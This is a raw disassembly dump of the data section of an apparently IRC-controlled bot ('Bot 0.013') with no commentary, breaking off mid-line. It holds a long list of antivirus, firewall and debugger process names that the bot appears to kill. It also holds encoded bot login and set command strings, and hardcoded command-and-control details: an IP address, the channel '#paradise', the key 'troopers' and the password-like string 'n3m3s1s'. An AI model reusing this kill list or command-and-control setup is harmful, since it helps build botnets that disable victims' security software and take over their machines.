aExplore_exe ; "EXPLORE.EXE" dd offset aFAgnt95_exe ; "F-AGNT95.EXE" dd offset aFProt_exe ; "F-PROT.EXE" dd offset aFProt95_exe ; "F-PROT95.EXE" dd offset aFStopw_exe ; "F-STOPW.EXE" dd offset aFameh32_exe ; "FAMEH32.EXE" dd offset aFast_exe ; "FAST.EXE" dd offset aFch32_exe ; "FCH32.EXE" dd offset aFih32_exe ; "FIH32.EXE" dd offset aFindviru_exe ; "FINDVIRU.EXE" dd offset aFirewall_exe ; "FIREWALL.EXE" dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE" dd offset aFnrb32_exe ; "FNRB32.EXE" dd offset aFpWin_exe ; "FP-WIN.EXE" dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE" dd offset aFprot_exe ; "FPROT.EXE" dd offset aFrw_exe ; "FRW.EXE" dd offset aFsaa_exe ; "FSAA.EXE" dd offset aFsav_exe ; "FSAV.EXE" dd offset aFsav32_exe ; "FSAV32.EXE" dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE" dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE" dd offset aFsav95_exe ; "FSAV95.EXE" dd offset aFsgk32_exe ; "FSGK32.EXE" dd offset aFsm32_exe ; "FSM32.EXE" dd offset aFsma32_exe ; "FSMA32.EXE" dd offset aFsmb32_exe ; "FSMB32.EXE" dd offset aGator_exe ; "GATOR.EXE" dd offset aGbmenu_exe ; "GBMENU.EXE" dd offset aGbpoll_exe ; "GBPOLL.EXE" dd offset aGenerics_exe ; "GENERICS.EXE" dd offset aGmt_exe ; "GMT.EXE" dd offset aGuard_exe ; "GUARD.EXE" dd offset aGuarddog_exe ; "GUARDDOG.EXE" dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE" dd offset aHbinst_exe ; "HBINST.EXE" dd offset aHbsrv_exe ; "HBSRV.EXE" dd offset aHotactio_exe ; "HOTACTIO.EXE" dd offset aHotpatch_exe ; "HOTPATCH.EXE" dd offset aHtlog_exe ; "HTLOG.EXE" dd offset aHtpatch_exe ; "HTPATCH.EXE" dd offset aHwpe_exe ; "HWPE.EXE" dd offset aHxdl_exe ; "HXDL.EXE" dd offset aHxiul_exe ; "HXIUL.EXE" dd offset aIamapp_exe ; "IAMAPP.EXE" dd offset aIamserv_exe ; "IAMSERV.EXE" dd offset aIamstats_exe ; "IAMSTATS.EXE" dd offset aIbmasn_exe ; "IBMASN.EXE" dd offset aIbmavsp_exe ; "IBMAVSP.EXE" dd offset aIcload95_exe ; "ICLOAD95.EXE" dd offset aIcloadnt_exe ; "ICLOADNT.EXE" dd offset aIcmon_exe ; "ICMON.EXE" dd offset aIcsupp95_exe ; "ICSUPP95.EXE" dd offset aIcsupp95_exe ; "ICSUPP95.EXE" dd offset aIcsuppnt_exe ; "ICSUPPNT.EXE" dd offset aIdle_exe ; "IDLE.EXE" dd offset aIedll_exe ; "IEDLL.EXE" dd offset aIedriver_exe ; "IEDRIVER.EXE" dd offset aIexplorer_exe ; "IEXPLORER.EXE" dd offset aIface_exe ; "IFACE.EXE" dd offset aIfw2000_exe ; "IFW2000.EXE" dd offset aInetlnfo_exe ; "INETLNFO.EXE" dd offset aInfus_exe ; "INFUS.EXE" dd offset aInfwin_exe ; "INFWIN.EXE" dd offset aInit_exe ; "INIT.EXE" dd offset aIntdel_exe ; "INTDEL.EXE" dd offset aIntren_exe ; "INTREN.EXE" dd offset aIomon98_exe ; "IOMON98.EXE" dd offset aIparmor_exe ; "IPARMOR.EXE" dd offset aIris_exe ; "IRIS.EXE" dd offset aIsass_exe ; "ISASS.EXE" dd offset aIsrv95_exe ; "ISRV95.EXE" dd offset aIstsvc_exe ; "ISTSVC.EXE" dd offset aJammer_exe ; "JAMMER.EXE" dd offset aJdbgmrg_exe ; "JDBGMRG.EXE" dd offset aJedi_exe ; "JEDI.EXE" dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE" dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE" dd offset aKavpf_exe ; "KAVPF.EXE" dd offset aKazza_exe ; "KAZZA.EXE" dd offset aKeenvalue_exe ; "KEENVALUE.EXE" dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE" dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE" dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE" dd offset aKernel32_exe ; "KERNEL32.EXE" dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE" dd offset aLauncher_exe ; "LAUNCHER.EXE" dd offset aLdnetmon_exe ; "LDNETMON.EXE" dd offset aLdpro_exe ; "LDPRO.EXE" dd offset aLdpromenu_exe ; "LDPROMENU.EXE" dd offset aLdscan_exe ; "LDSCAN.EXE" dd offset aLnetinfo_exe ; "LNETINFO.EXE" dd offset aLoader_exe ; "LOADER.EXE" dd offset aLocalnet_exe ; "LOCALNET.EXE" dd offset aLockdown_exe ; "LOCKDOWN.EXE" dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE" dd offset aLookout_exe ; "LOOKOUT.EXE" dd offset aLordpe_exe ; "LORDPE.EXE" dd offset aLsetup_exe ; "LSETUP.EXE" dd offset aLuall_exe ; "LUALL.EXE" dd offset aLuall_exe ; "LUALL.EXE" dd offset aLuau_exe ; "LUAU.EXE" dd offset aLucomserver_ex ; "LUCOMSERVER.EXE" dd offset aLuinit_exe ; "LUINIT.EXE" dd offset aLuspt_exe ; "LUSPT.EXE" dd offset aMapisvc32_exe ; "MAPISVC32.EXE" dd offset aMcagent_exe ; "MCAGENT.EXE" dd offset aMcmnhdlr_exe ; "MCMNHDLR.EXE" dd offset aMcshield_exe ; "MCSHIELD.EXE" dd offset aMctool_exe ; "MCTOOL.EXE" dd offset aMcupdate_exe ; "MCUPDATE.EXE" dd offset aMcupdate_exe ; "MCUPDATE.EXE" dd offset aMcvsrte_exe ; "MCVSRTE.EXE" dd offset aMcvsshld_exe ; "MCVSSHLD.EXE" dd offset aMd_exe ; "MD.EXE" dd offset aMfin32_exe ; "MFIN32.EXE" dd offset aMfw2en_exe ; "MFW2EN.EXE" dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE" dd offset aMgavrtcl_exe ; "MGAVRTCL.EXE" dd offset aMgavrte_exe ; "MGAVRTE.EXE" dd offset aMghtml_exe ; "MGHTML.EXE" dd offset aMgui_exe ; "MGUI.EXE" dd offset aMinilog_exe ; "MINILOG.EXE" dd offset aMmod_exe ; "MMOD.EXE" dd offset aMonitor_exe ; "MONITOR.EXE" dd offset aMoolive_exe ; "MOOLIVE.EXE" dd offset aMostat_exe ; "MOSTAT.EXE" dd offset aMpfagent_exe ; "MPFAGENT.EXE" dd offset aMpfservice_exe ; "MPFSERVICE.EXE" dd offset aMpftray_exe ; "MPFTRAY.EXE" dd offset aMrflux_exe ; "MRFLUX.EXE" dd offset aMsapp_exe ; "MSAPP.EXE" dd offset aMsbb_exe ; "MSBB.EXE" dd offset aMsblast_exe ; "MSBLAST.EXE" dd offset aMscache_exe ; "MSCACHE.EXE" dd offset aMsccn32_exe ; "MSCCN32.EXE" dd offset aMscman_exe ; "MSCMAN.EXE" dd offset aMsconfig_exe_0 ; "MSCONFIG.EXE" dd offset aMsdm_exe ; "MSDM.EXE" dd offset aMsdos_exe ; "MSDOS.EXE" dd offset aMsiexec16_exe ; "MSIEXEC16.EXE" dd offset aMsinfo32_exe ; "MSINFO32.EXE" dd offset aMslaugh_exe ; "MSLAUGH.EXE" dd offset aMsmgt_exe ; "MSMGT.EXE" dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE" dd offset aMssmmc32_exe ; "MSSMMC32.EXE" dd offset aMssys_exe ; "MSSYS.EXE" dd offset aMsvxd_exe ; "MSVXD.EXE" dd offset aMu0311ad_exe ; "MU0311AD.EXE" dd offset aMwatch_exe ; "MWATCH.EXE" dd offset aN32scanw_exe ; "N32SCANW.EXE" dd offset aNav_exe ; "NAV.EXE" dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE" dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE" dd offset aNavapsvc_exe ; "NAVAPSVC.EXE" dd offset aNavapw32_exe ; "NAVAPW32.EXE" dd offset aNavdx_exe ; "NAVDX.EXE" dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE" dd offset aNavlu32_exe ; "NAVLU32.EXE" dd offset aNavnt_exe ; "NAVNT.EXE" dd offset aNavstub_exe ; "NAVSTUB.EXE" dd offset aNavw32_exe ; "NAVW32.EXE" dd offset aNavwnt_exe ; "NAVWNT.EXE" dd offset aNc2000_exe ; "NC2000.EXE" dd offset aNcinst4_exe ; "NCINST4.EXE" dd offset aNdd32_exe ; "NDD32.EXE" dd offset aNeomonitor_exe ; "NEOMONITOR.EXE" dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE" dd offset aNetarmor_exe ; "NETARMOR.EXE" dd offset aNetd32_exe ; "NETD32.EXE" dd offset aNetinfo_exe ; "NETINFO.EXE" dd offset aNetmon_exe ; "NETMON.EXE" dd offset aNetscanpro_exe ; "NETSCANPRO.EXE" dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE" dd offset aNetstat_exe ; "NETSTAT.EXE" dd offset aNetutils_exe ; "NETUTILS.EXE" dd offset aNisserv_exe ; "NISSERV.EXE" dd offset aNisum_exe ; "NISUM.EXE" dd offset aNmain_exe ; "NMAIN.EXE" dd offset aNod32_exe ; "NOD32.EXE" dd offset aNormist_exe ; "NORMIST.EXE" dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE" dd offset aNotstart_exe ; "NOTSTART.EXE" dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE" dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE" dd offset aNprotect_exe ; "NPROTECT.EXE" dd offset aNpscheck_exe ; "NPSCHECK.EXE" dd offset aNpssvc_exe ; "NPSSVC.EXE" dd offset aNsched32_exe ; "NSCHED32.EXE" dd offset aNssys32_exe ; "NSSYS32.EXE" dd offset aNstask32_exe ; "NSTASK32.EXE" dd offset aNsupdate_exe ; "NSUPDATE.EXE" dd offset aNt_exe ; "NT.EXE" dd offset aNtrtscan_exe ; "NTRTSCAN.EXE" dd offset aNtvdm_exe ; "NTVDM.EXE" dd offset aNtxconfig_exe ; "NTXconfig.EXE" dd offset aNui_exe ; "NUI.EXE" dd offset aNupgrade_exe ; "NUPGRADE.EXE" dd offset aNupgrade_exe ; "NUPGRADE.EXE" dd offset aNvarch16_exe ; "NVARCH16.EXE" dd offset aNvc95_exe ; "NVC95.EXE" dd offset aNvsvc32_exe ; "NVSVC32.EXE" dd offset aNwinst4_exe ; "NWINST4.EXE" dd offset aNwservice_exe ; "NWSERVICE.EXE" dd offset aNwtool16_exe ; "NWTOOL16.EXE" dd offset aOllydbg_exe ; "OLLYDBG.EXE" dd offset aOnsrvr_exe ; "ONSRVR.EXE" dd offset aOptimize_exe ; "OPTIMIZE.EXE" dd offset aOstronet_exe ; "OSTRONET.EXE" dd offset aOtfix_exe ; "OTFIX.EXE" dd offset aOutpost_exe ; "OUTPOST.EXE" dd offset aOutpost_exe ; "OUTPOST.EXE" dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE" dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE" dd offset aPadmin_exe ; "PADMIN.EXE" dd offset aPanixk_exe ; "PANIXK.EXE" dd offset aPatch_exe ; "PATCH.EXE" dd offset aPavcl_exe ; "PAVCL.EXE" dd offset aPavproxy_exe ; "PAVPROXY.EXE" dd offset aPavsched_exe ; "PAVSCHED.EXE" dd offset aPavw_exe ; "PAVW.EXE" dd offset aPcc2002s902_ex ; "PCC2002S902.EXE" dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE" dd offset aPcciomon_exe ; "PCCIOMON.EXE" dd offset aPccntmon_exe ; "PCCNTMON.EXE" dd offset aPccwin97_exe ; "PCCWIN97.EXE" dd offset aPccwin98_exe ; "PCCWIN98.EXE" dd offset aPcdsetup_exe ; "PCDSETUP.EXE" dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE" dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE" dd offset aPcscan_exe ; "PCSCAN.EXE" dd offset aPdsetup_exe ; "PDSETUP.EXE" dd offset aPenis_exe ; "PENIS.EXE" dd offset aPeriscope_exe ; "PERISCOPE.EXE" dd offset aPersfw_exe ; "PERSFW.EXE" dd offset aPerswf_exe ; "PERSWF.EXE" dd offset aPf2_exe ; "PF2.EXE" dd offset aPfwadmin_exe ; "PFWADMIN.EXE" dd offset aPgmonitr_exe ; "PGMONITR.EXE" dd offset aPingscan_exe ; "PINGSCAN.EXE" dd offset aPlatin_exe ; "PLATIN.EXE" dd offset aPop3trap_exe ; "POP3TRAP.EXE" dd offset aPoproxy_exe ; "POPROXY.EXE" dd offset aPopscan_exe ; "POPSCAN.EXE" dd offset aPortdetective_ ; "PORTDETECTIVE.EXE" dd offset aPortmonitor_ex ; "PORTMONITOR.EXE" dd offset aPowerscan_exe ; "POWERSCAN.EXE" dd offset aPpinupdt_exe ; "PPINUPDT.EXE" dd offset aPptbc_exe ; "PPTBC.EXE" dd offset aPpvstop_exe ; "PPVSTOP.EXE" dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE" dd offset aPrmt_exe ; "PRMT.EXE" dd offset aPrmvr_exe ; "PRMVR.EXE" dd offset aProcdump_exe ; "PROCDUMP.EXE" dd offset aProcessmonitor ; "PROCESSMONITOR.EXE" dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE" dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE" dd offset aProport_exe ; "PROPORT.EXE" dd offset aProtectx_exe ; "PROTECTX.EXE" dd offset aPspf_exe ; "PSPF.EXE" dd offset aPurge_exe ; "PURGE.EXE" dd offset aPussy_exe ; "PUSSY.EXE" dd offset aPview95_exe ; "PVIEW95.EXE" dd offset aQconsole_exe ; "QCONSOLE.EXE" dd offset aQserver_exe ; "QSERVER.EXE" dd offset aRapapp_exe ; "RAPAPP.EXE" dd offset aRav7_exe ; "RAV7.EXE" dd offset aRav7win_exe ; "RAV7WIN.EXE" dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE" dd offset aRay_exe ; "RAY.EXE" dd offset aRb32_exe ; "RB32.EXE" dd offset aRcsync_exe ; "RCSYNC.EXE" dd offset aRealmon_exe ; "REALMON.EXE" dd offset aReged_exe ; "REGED.EXE" dd offset aRegedit_exe ; "REGEDIT.EXE" dd offset aRegedt32_exe ; "REGEDT32.EXE" dd offset aRescue_exe ; "RESCUE.EXE" dd offset aRescue32_exe ; "RESCUE32.EXE" dd offset aRrguard_exe ; "RRGUARD.EXE" dd offset aRshell_exe ; "RSHELL.EXE" dd offset aRtvscan_exe ; "RTVSCAN.EXE" dd offset aRtvscn95_exe ; "RTVSCN95.EXE" dd offset aRulaunch_exe ; "RULAUNCH.EXE" dd offset aRun32dll_exe ; "RUN32DLL.EXE" dd offset aRundll_exe ; "RUNDLL.EXE" dd offset aRundll16_exe ; "RUNDLL16.EXE" dd offset aRuxdll32_exe ; "RUXDLL32.EXE" dd offset aSafeweb_exe ; "SAFEWEB.EXE" dd offset aSahagent_exe ; "SAHAGENT.EXE" dd offset aSave_exe ; "SAVE.EXE" dd offset aSavenow_exe ; "SAVENOW.EXE" dd offset aSbserv_exe ; "SBSERV.EXE" dd offset aSc_exe ; "SC.EXE" dd offset aScam32_exe ; "SCAM32.EXE" dd offset aScan32_exe ; "SCAN32.EXE" dd offset aScan95_exe ; "SCAN95.EXE" dd offset aScanpm_exe ; "SCANPM.EXE" dd offset aScrscan_exe ; "SCRSCAN.EXE" dd offset aScrsvr_exe ; "SCRSVR.EXE" dd offset aScvhost_exe ; "SCVHOST.EXE" dd offset aSd_exe ; "SD.EXE" dd offset aServ95_exe ; "SERV95.EXE" dd offset aService_exe ; "SERVICE.EXE" dd offset aServlce_exe ; "SERVLCE.EXE" dd offset aServlces_exe ; "SERVLCES.EXE" dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE" dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE" dd offset aSfc_exe ; "SFC.EXE" dd offset aSgssfw32_exe ; "SGSSFW32.EXE" dd offset aSh_exe ; "SH.EXE" dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE" dd offset aShn_exe ; "SHN.EXE" dd offset aShowbehind_exe ; "SHOWBEHIND.EXE" dd offset aSmc_exe ; "SMC.EXE" dd offset aSms_exe ; "SMS.EXE" dd offset aSmss32_exe ; "SMSS32.EXE" dd offset aSoap_exe ; "SOAP.EXE" dd offset aSofi_exe ; "SOFI.EXE" dd offset aSperm_exe ; "SPERM.EXE" dd offset aSpf_exe ; "SPF.EXE" dd offset aSphinx_exe ; "SPHINX.EXE" dd offset aSpoler_exe ; "SPOLER.EXE" dd offset aSpoolcv_exe ; "SPOOLCV.EXE" dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE" dd offset aSpyxx_exe ; "SPYXX.EXE" dd offset aSrexe_exe ; "SREXE.EXE" dd offset aSrng_exe ; "SRNG.EXE" dd offset aSs3edit_exe ; "SS3EDIT.EXE" dd offset aSsgrate_exe ; "SSGRATE.EXE" dd offset aSsg_4104_exe ; "SSG_4104.EXE" dd offset aSt2_exe ; "ST2.EXE" dd offset aStart_exe ; "START.EXE" dd offset aStcloader_exe ; "STCLOADER.EXE" dd offset aSupftrl_exe ; "SUPFTRL.EXE" dd offset aSupport_exe ; "SUPPORT.EXE" dd offset aSupporter5_exe ; "SUPPORTER5.EXE" dd offset aSvc_exe ; "SVC.EXE" dd offset aSvchostc_exe ; "SVCHOSTC.EXE" dd offset aSvchosts_exe ; "SVCHOSTS.EXE" dd offset aSvshost_exe ; "SVSHOST.EXE" dd offset aSvshost32_exe ; "SVSHOST32.EXE" dd offset aUpd32_exe ; "UPD32.EXE" dd offset aSweep95_exe ; "SWEEP95.EXE" dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE" dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE" dd offset aSymtray_exe ; "SYMTRAY.EXE" dd offset aSysedit_exe ; "SYSEDIT.EXE" dd offset aSystem_exe ; "SYSTEM.EXE" dd offset aSystem32_exe ; "SYSTEM32.EXE" dd offset aSysupd_exe ; "SYSUPD.EXE" dd offset aTaskmg_exe ; "TASKMG.EXE" dd offset aTaskmo_exe ; "TASKMO.EXE" dd offset aTaskmon_exe ; "TASKMON.EXE" dd offset aTaumon_exe ; "TAUMON.EXE" dd offset aTbscan_exe ; "TBSCAN.EXE" dd offset aTc_exe ; "TC.EXE" dd offset aTca_exe ; "TCA.EXE" dd offset aTcm_exe ; "TCM.EXE" dd offset aTds3_exe ; "TDS-3.EXE" dd offset aTds298_exe ; "TDS2-98.EXE" dd offset aTds2Nt_exe ; "TDS2-NT.EXE" dd offset aTeekids_exe ; "TEEKIDS.EXE" dd offset aTfak_exe ; "TFAK.EXE" dd offset aTfak5_exe ; "TFAK5.EXE" dd offset aTgbob_exe ; "TGBOB.EXE" dd offset aTitanin_exe ; "TITANIN.EXE" dd offset aTitaninxp_exe ; "TITANINXP.EXE" dd offset aTracert_exe ; "TRACERT.EXE" dd offset aTrickler_exe ; "TRICKLER.EXE" dd offset aTrjscan_exe ; "TRJSCAN.EXE" dd offset aTrjsetup_exe ; "TRJSETUP.EXE" dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE" dd offset aTsadbot_exe ; "TSADBOT.EXE" dd offset aTvmd_exe ; "TVMD.EXE" dd offset aTvtmd_exe ; "TVTMD.EXE" dd offset aUndoboot_exe ; "UNDOBOOT.EXE" dd offset aUpdat_exe ; "UPDAT.EXE" dd offset aUpdate_exe ; "UPDATE.EXE" dd offset aUpdate_exe ; "UPDATE.EXE" dd offset aUpgrad_exe ; "UPGRAD.EXE" dd offset aUtpost_exe ; "UTPOST.EXE" dd offset aVbcmserv_exe ; "VBCMSERV.EXE" dd offset aVbcons_exe ; "VBCONS.EXE" dd offset aVbust_exe ; "VBUST.EXE" dd offset aVbwin9x_exe ; "VBWIN9X.EXE" dd offset aVbwinntw_exe ; "VBWINNTW.EXE" dd offset aVcsetup_exe ; "VCSETUP.EXE" dd offset aVet32_exe ; "VET32.EXE" dd offset aVet95_exe ; "VET95.EXE" dd offset aVettray_exe ; "VETTRAY.EXE" dd offset aVfsetup_exe ; "VFSETUP.EXE" dd offset aVirHelp_exe ; "VIR-HELP.EXE" dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE" dd offset aVnlan300_exe ; "VNLAN300.EXE" dd offset aVnpc3000_exe ; "VNPC3000.EXE" dd offset aVpc32_exe ; "VPC32.EXE" dd offset aVpc42_exe ; "VPC42.EXE" dd offset aVpfw30s_exe ; "VPFW30S.EXE" dd offset aVptray_exe ; "VPTRAY.EXE" dd offset aVscan40_exe ; "VSCAN40.EXE" dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE" dd offset aVsched_exe ; "VSCHED.EXE" dd offset aVsecomr_exe ; "VSECOMR.EXE" dd offset aVshwin32_exe ; "VSHWIN32.EXE" dd offset aVsisetup_exe ; "VSISETUP.EXE" dd offset aVsmain_exe ; "VSMAIN.EXE" dd offset aVsmon_exe ; "VSMON.EXE" dd offset aVsstat_exe ; "VSSTAT.EXE" dd offset aVswin9xe_exe ; "VSWIN9XE.EXE" dd offset aVswinntse_exe ; "VSWINNTSE.EXE" dd offset aVswinperse_exe ; "VSWINPERSE.EXE" dd offset aW32dsm89_exe ; "W32DSM89.EXE" dd offset aW9x_exe ; "W9X.EXE" dd offset aWatchdog_exe ; "WATCHDOG.EXE" dd offset aWebdav_exe ; "WEBDAV.EXE" dd offset aWebscanx_exe ; "WEBSCANX.EXE" dd offset aWebtrap_exe ; "WEBTRAP.EXE" dd offset aWfindv32_exe ; "WFINDV32.EXE" dd offset aWgfe95_exe ; "WGFE95.EXE" dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE" dd offset aWimmun32_exe ; "WIMMUN32.EXE" dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE" dd offset aWin32_exe ; "WIN32.EXE" dd offset aWin32us_exe ; "WIN32US.EXE" dd offset aWinactive_exe ; "WINACTIVE.EXE" dd offset aWindow_exe ; "WINDOW.EXE" dd offset aWindows_exe ; "WINDOWS.EXE" dd offset aWininetd_exe ; "WININETD.EXE" dd offset aWininit_exe ; "WININIT.EXE" dd offset aWininitx_exe ; "WININITX.EXE" dd offset aWinlogin_exe ; "WINLOGIN.EXE" dd offset aWinmain_exe ; "WINMAIN.EXE" dd offset aWinnet_exe ; "WINNET.EXE" dd offset aWinppr32_exe ; "WINPPR32.EXE" dd offset aWinrecon_exe ; "WINRECON.EXE" dd offset aWinservn_exe ; "WINSERVN.EXE" dd offset aWinssk32_exe ; "WINSSK32.EXE" dd offset aWinstart_exe ; "WINSTART.EXE" dd offset aWinstart001_ex ; "WINSTART001.EXE" dd offset aWintsk32_exe ; "WINTSK32.EXE" dd offset aWinupdate_exe ; "WINUPDATE.EXE" dd offset aWkufind_exe ; "WKUFIND.EXE" dd offset aWnad_exe ; "WNAD.EXE" dd offset aWnt_exe ; "WNT.EXE" dd offset aWradmin_exe ; "WRADMIN.EXE" dd offset aWrctrl_exe ; "WRCTRL.EXE" dd offset aWsbgate_exe ; "WSBGATE.EXE" dd offset aWupdater_exe ; "WUPDATER.EXE" dd offset aWupdt_exe ; "WUPDT.EXE" dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE" dd offset aXpf202en_exe ; "XPF202EN.EXE" dd offset aZapro_exe ; "ZAPRO.EXE" dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE" dd offset aZatutor_exe ; "ZATUTOR.EXE" dd offset aZonalm2601_exe ; "ZONALM2601.EXE" dd offset aZonealarm_exe ; "ZONEALARM.EXE" dd offset a_avp32_exe ; "_AVP32.EXE" dd offset a_avpcc_exe ; "_AVPCC.EXE" dd offset a_avpm_exe ; "_AVPM.EXE" dd offset aHijackthis_exe ; "HIJACKTHIS.EXE" dd offset aFAgobot_exe ; "F-AGOBOT.EXE" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" dd offset aMsconfig_exe ; "MsConfiG.exe" dd offset aWuanclt_exe ; "WUANCLT.EXE" dd offset aWuacrlt_exe ; "WUACRLT.EXE" dd offset aWruaclt_exe ; "WRUACLT.EXE" dd offset aWinssv_exe ; "winssv.exe" dd offset aScguard_exe ; "scguard.exe" dd offset aWuamgrd_exe ; "wuamgrd.exe" dd offset aBling_exe ; "bling.exe" dd offset aWinmp_exe ; "winmp.exe" dd offset aHass_exe ; "hass.exe" off_42F748 dd offset dword_4276EC ; DATA XREF: sub_409180+20Er dd offset off_4276E8 dd offset aFtp ; "FTP" dd offset aHttp_0 ; "HTTP" dword_42F758 dd 6F6C2E3Ah, 206E6967h, 3 dup(0)dword_42F76C dd 0 dd 6F6C2C3Ah, 206E6967h, 4 dup(0) dd 6F6C213Ah, 206E6967h, 4 dup(0) dd 6F6C403Ah, 206E6967h, 4 dup(0) dd 6F6C243Ah, 206E6967h, 4 dup(0) dd 6F6C253Ah, 206E6967h, 4 dup(0) dd 6F6C5E3Ah, 206E6967h, 4 dup(0) dd 6F6C263Ah, 206E6967h, 4 dup(0) dd 6F6C2A3Ah, 206E6967h, 4 dup(0) dd 6F6C2D3Ah, 206E6967h, 4 dup(0) dd 6F6C2B3Ah, 206E6967h, 4 dup(0) dd 6F6C2F3Ah, 206E6967h, 4 dup(0) dd 6F6C3D3Ah, 206E6967h, 4 dup(0) dd 6F6C3F3Ah, 206E6967h, 4 dup(0) dd 6F6C273Ah, 206E6967h, 4 dup(0) dd 6F6C603Ah, 206E6967h, 4 dup(0) dd 6F6C7E3Ah, 206E6967h, 4 dup(0) dd 6F6C203Ah, 206E6967h, 4 dup(0) dd 65732E3Ah, 2074h, 4 dup(0) dd 65732C3Ah, 2074h, 4 dup(0) dd 6573213Ah, 2074h, 4 dup(0) dd 6573403Ah, 2074h, 4 dup(0) dd 6573243Ah, 2074h, 4 dup(0) dd 6573253Ah, 2074h, 4 dup(0) dd 65735E3Ah, 2074h, 4 dup(0) dd 6573263Ah, 2074h, 4 dup(0) dd 65732A3Ah, 2074h, 4 dup(0) dd 65732D3Ah, 2074h, 4 dup(0) dd 65732B3Ah, 2074h, 4 dup(0) dd 65732F3Ah, 2074h, 4 dup(0) dd 65735C3Ah, 2074h, 4 dup(0) dd 65733D3Ah, 2074h, 4 dup(0) dd 65733F3Ah, 2074h, 4 dup(0) dd 6573273Ah, 2074h, 4 dup(0) dd 6573603Ah, 2074h, 4 dup(0) dd 65737E3Ah, 2074h, 4 dup(0) dd 6573203Ah, 2074h, 4 dup(0) dd 206C2E3Ah, 5 dup(0) dd 206C213Ah, 5 dup(0) dd 206C243Ah, 5 dup(0) dd 206C253Ah, 5 dup(0) dd 20782E3Ah, 5 dup(0) dd 2078213Ah, 5 dup(0) dd 2078243Ah, 5 dup(0) dd 2078253Ah, 5 dup(0) dd 64642E3Ah, 20736Fh, 4 dup(0) dd 6464213Ah, 20736Fh, 4 dup(0) dd 6464243Ah, 20736Fh, 4 dup(0) dd 6464253Ah, 20736Fh, 4 dup(0) dd 64752E3Ah, 70h, 4 dup(0) dd 6475213Ah, 70h, 4 dup(0) dd 6475243Ah, 70h, 4 dup(0) dd 6475253Ah, 70h, 4 dup(0) dd 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1 aNowAnIrcOperat db 'now an IRC Operator',0 dd 1, 6 dup(0) dword_42FCB0 dd 1BBh ; sub_40FB4C+4CAr dword_42FCB4 dd 1BBh dword_42FCB8 dd 4DBh dword_42FCBC dd 45h ; sub_409848+47F0r dword_42FCC0 dd 4E20h ; sub_409848:loc_40E138r dword_42FCC4 dd 201h dword_42FCC8 dd 1 dword_42FCCC dd 1 dword_42FCD0 dd 1 ; sub_40FB4C:loc_40FE7Fr byte_42FCD4 db 2Eh ; DATA XREF: sub_402C54:loc_402C60r ; sub_409848+7A4r ... align 4 dword_42FCD8 dd 6 ; sub_410DF8+51r ... dword_42FCDC dd 1 ; sub_409848+25Dr ... dword_42FCE0 dd 1 ; sub_409848+257r aBot013 db 'Bot013',0 ; DATA XREF: sub_409848+329Bo ; sub_409848:loc_40E9C4o ... align 4 aBot0_013 db '[Bot 0.013]',0 ; DATA XREF: sub_409848:loc_40ED49o aN3m3s1s db 'n3m3s1s',0 ; DATA XREF: sub_409848+4E97o ; sub_409848+614Do ... a217_170_244_2 db '217.170.244.2',0 ; DATA XREF: sub_40FB4C+3FFo ; sub_40FB4C+4BFo align 10h aParadise db '#paradise',0 ; DATA XREF: sub_40FB4C+41Bo ; sub_40FB4C+4D1o align 4 aTroopers db 'troopers',0 ; DATA XREF: sub_40FB4C+432o ; sub_40FB4C+4E3o align 4 byte_42FD28 db 38h ; DATA XREF: 